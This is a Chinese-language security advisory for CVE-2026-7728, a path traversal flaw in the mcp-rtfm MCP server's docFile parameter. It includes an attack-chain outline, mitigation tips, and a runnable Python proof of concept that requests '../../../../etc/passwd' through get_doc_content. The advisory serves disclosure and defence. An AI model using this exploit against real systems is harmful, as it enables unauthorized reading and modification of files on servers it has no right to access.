IPBUF安全漏洞报告
English
CVE-2026-7728 CVSS 6.3 中危

CVE-2026-7728 mcp-rtfm路径遍历漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-7728
漏洞类型
路径遍历
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ryanjoachim mcp-rtfm

相关标签

路径遍历CVE-2026-7728mcp-rtfm远程漏洞文件读取

漏洞概述

ryanjoachim mcp-rtfm 0.1.0版本存在路径遍历漏洞。该漏洞源于MCP接口组件的get_doc_content、read_doc及update_doc函数,由于未对输入参数docFile进行严格校验,攻击者可远程操纵该参数读取或修改系统任意文件。目前公开利用代码已存在,建议立即采取防护措施。

技术细节

该漏洞的核心在于ryanjoachim mcp-rtfm项目中MCP接口组件的输入验证机制缺失。具体受影响的函数包括get_doc_content、read_doc和update_doc。这些函数在处理文档操作请求时,直接使用了用户可控的“docFile”参数来构建文件路径,而未对其进行安全过滤或规范化处理。攻击者可以通过发送特制的恶意请求,在“docFile”参数中注入路径遍历序列(如“../”或绝对路径)。这使得攻击者能够突破应用程序预期的目录限制,访问服务器上的敏感文件(如配置文件、源代码),甚至可能导致数据修改。由于攻击无需复杂交互即可远程发起,且CVSS评分涵盖了对机密性、完整性和可用性的影响,因此该漏洞具有实质性的安全风险。

攻击链分析

STEP 1
侦察
攻击者探测目标网络,识别运行ryanjoachim mcp-rtfm 0.1.0版本的服务,并确定MCP接口的开放情况。
STEP 2
武器化
攻击者构造包含路径遍历字符(如'../')的恶意数据,针对docFile参数进行编码,旨在访问系统敏感文件。
STEP 3
交付
攻击者向目标服务器发送特制的RPC请求,调用get_doc_content等受影响函数,并注入恶意docFile参数。
STEP 4
利用
目标应用程序处理请求时,由于缺乏校验,直接将恶意路径用于文件操作,导致读取或写入非预期文件。
STEP 5
影响
攻击者成功获取敏感信息(机密性),或篡改/删除文件(完整性、可用性),造成系统安全受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Exploit for CVE-2026-7728 # Target: ryanjoachim mcp-rtfm <= 0.1.0 # Type: Path Traversal via 'docFile' parameter def exploit(target_url): # Vulnerable endpoint example (adjust based on actual deployment) endpoint = f"{target_url}/mcp/call" # Malicious payload attempting to read /etc/passwd # The vulnerable functions include get_doc_content, read_doc, update_doc payload = { "method": "tools/call", "params": { "name": "get_doc_content", "arguments": { "docFile": "../../../../etc/passwd" } } } headers = {"Content-Type": "application/json"} try: response = requests.post(endpoint, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for file content.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target target = "http://127.0.0.1:8000" exploit(target)

影响范围

ryanjoachim mcp-rtfm 0.1.0

防御指南

临时缓解措施
若无法立即更新版本,建议在WAF或网关处配置规则,拦截包含路径遍历特征(如“../”、“%2e%2e/”)的请求流量,并限制服务器对敏感系统目录的读取权限,以降低被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表